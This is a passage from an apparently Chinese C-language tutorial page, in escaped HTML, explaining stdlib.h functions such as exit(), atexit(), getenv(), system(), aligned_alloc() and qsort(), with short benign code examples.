status);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们都接受一个整数,表示程序的退出状态,\u003ccode\u003e0\u003c/code\u003e是正常退出,非零值表示发生错误,可以使用宏\u003ccode\u003eEXIT_SUCCESS\u003c/code\u003e和\u003ccode\u003eEXIT_FAILURE\u003c/code\u003e当作参数。它们本身没有返回值。\u003c/p\u003e\u003cp\u003e它们的区别是,退出时所做的清理工作不同。\u003ccode\u003eexit()\u003c/code\u003e是正常退出,系统会做完整的清理,比如更新所有文件流,并且删除临时文件。\u003ccode\u003equick_exit()\u003c/code\u003e是快速退出,系统的清理工作稍微少一点。\u003ccode\u003e_Exit()\u003c/code\u003e是立即退出,不做任何清理工作。\u003c/p\u003e\u003cp\u003e下面是一些用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003equick_exit(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e_Exit(\u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"atexit-,at-quick-exit\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#atexit-%EF%BC%8Cat-quick-exit\" class=\"headerlink\" title=\"atexit(),at_quick_exit()\"\u003e\u003c/a\u003eatexit(),at_quick_exit()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eatexit()\u003c/code\u003e用来登记当前程序退出时(调用\u003ccode\u003eexit()\u003c/code\u003e或\u003ccode\u003emain()\u003c/code\u003e正常退出),所要执行的其他函数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eat_quick_exit()\u003c/code\u003e则是登记使用\u003ccode\u003equick_exit()\u003c/code\u003e方法退出当前程序时,所要执行的其他函数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eexit()\u003c/code\u003e只能触发\u003ccode\u003eatexit()\u003c/code\u003e登记的函数,\u003ccode\u003equick_exit()\u003c/code\u003e只能触发\u003ccode\u003eat_quick_exit()\u003c/code\u003e登记的函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eatexit\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*func)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eat_quick_exit\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*func)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们的参数是要执行的函数地址,即函数名。它们的返回值都是调用成功时返回\u003ccode\u003e0\u003c/code\u003e,调用失败时返回非零值。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esign_off\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003etoo_bad\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e atexit(sign_off);   \u003cspan class=\"comment\"\u003e/* 注册 sign_off()函数 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Enter an integer:\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;n) != \u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;That\u0026#39;s no integer!\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e atexit(too_bad); \u003cspan class=\"comment\"\u003e/* 注册 too_bad()函数 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d is %s.\\n\u0026#34;\u003c/span\u003e, n, (n % \u003cspan class=\"number\"\u003e2\u003c/span\u003e == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) ? \u003cspan class=\"string\"\u003e\u0026#34;even\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003e\u0026#34;odd\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esign_off\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;sign_off\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003etoo_bad\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;too bad\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,用户输入失败时,会调用\u003ccode\u003esign_off()\u003c/code\u003e和\u003ccode\u003etoo_bad()\u003c/code\u003e函数;但是输入成功时只会调用\u003ccode\u003esign_off()\u003c/code\u003e。因为只有输入失败时,才会进入\u003ccode\u003eif\u003c/code\u003e语句登记\u003ccode\u003etoo_bad()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e另外,如果有多条\u003ccode\u003eatexit()\u003c/code\u003e语句,函数退出时最先调用的,是最后一个登记的函数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eatexit()\u003c/code\u003e登记的函数(如上例的\u003ccode\u003esign_off\u003c/code\u003e和\u003ccode\u003etoo_bad\u003c/code\u003e)应该不带任何参数且返回类型为\u003ccode\u003evoid\u003c/code\u003e。通常,这些函数会执行一些清理任务,例如删除临时文件或重置环境变量。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eat_quick_exit()\u003c/code\u003e也是同样的规则,下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eexit_handler_1\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;1\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eexit_handler_2\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;2\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e at_quick_exit(exit_handler_1);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e at_quick_exit(exit_handler_2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e quick_exit(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e执行上面的示例,命令行会先输出2,再输出1。\u003c/p\u003e\u003ch3 id=\"getenv\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#getenv\" class=\"headerlink\" title=\"getenv()\"\u003e\u003c/a\u003egetenv()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003egetenv()\u003c/code\u003e用于获取环境变量的值。环境变量是操作系统提供的程序之外的一些环境参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003egetenv\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的参数是一个字符串,表示环境变量名。返回值也是一个字符串,表示环境变量的值。如果指定的环境变量不存在,则返回 NULL。\u003c/p\u003e\u003cp\u003e下面是输出环境变量\u003ccode\u003e$PATH\u003c/code\u003e的值的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;PATH is %s\\n\u0026#34;\u003c/span\u003e, getenv(\u003cspan class=\"string\"\u003e\u0026#34;PATH\u0026#34;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"system\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#system\" class=\"headerlink\" title=\"system()\"\u003e\u003c/a\u003esystem()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esystem()\u003c/code\u003e函数用于执行外部程序。它会把它的参数字符串传递给操作系统,让操作系统的命令处理器来执行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esystem\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003echar\u003c/span\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e * command )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个函数的返回值因编译器而异。但是标准规定,如果 NULL 作为参数,表示询问操作系统,是否有可用的命令处理器,如果有的话,返回一个非零值,否则返回零。\u003c/p\u003e\u003cp\u003e下面是执行\u003ccode\u003els\u003c/code\u003e命令的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esystem(\u003cspan class=\"string\"\u003e\u0026#34;ls -l\u0026#34;\u003c/span\u003e); \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"内存管理函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"内存管理函数\"\u003e\u003c/a\u003e内存管理函数\u003c/h3\u003e\u003cp\u003estdlib.h 提供了一些内存操作函数,下面几个函数详见《内存管理》一章,其余在本节介绍。\u003c/p\u003e\u003cul\u003e\u003cli\u003emalloc():分配内存区域\u003c/li\u003e\u003cli\u003ecalloc():分配内存区域。\u003c/li\u003e\u003cli\u003erealloc():调节内存区域大小。\u003c/li\u003e\u003cli\u003efree():释放内存区域。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"aligned-alloc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#aligned-alloc\" class=\"headerlink\" title=\"aligned_alloc()\"\u003e\u003c/a\u003ealigned_alloc()\u003c/h4\u003e\u003cp\u003e很多系统有内存对齐的要求,即内存块的大小必须是某个值(比如64字节)的倍数,这样有利于提高处理速度。\u003ccode\u003ealigned_alloc()\u003c/code\u003e就用于分配满足内存对齐要求的内存块,它的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ealigned_alloc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e alignment, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003ealignment:整数,表示内存对齐的单位大小,一般是2的整数次幂(2、4、8、16……)。\u003c/li\u003e\u003cli\u003esize:整数,表示内存块的大小。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e分配成功时,它返回一个无类型指针,指向新分配的内存块。分配失败时,返回 NULL。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* p = aligned_alloc(\u003cspan class=\"number\"\u003e64\u003c/span\u003e, \u003cspan class=\"number\"\u003e256\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ealigned_alloc()\u003c/code\u003e分配的内存块,单位大小是64字节,要分配的字节数是256字节。\u003c/p\u003e\u003ch3 id=\"qsort\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#qsort\" class=\"headerlink\" title=\"qsort()\"\u003e\u003c/a\u003eqsort()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eqsort()\u003c/code\u003e用来快速排序一个数组。它对数组成员的类型没有要求,任何类型数组都可以用这个函数排序。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eqsort\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *base,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e nmemb, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e (*compar)(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 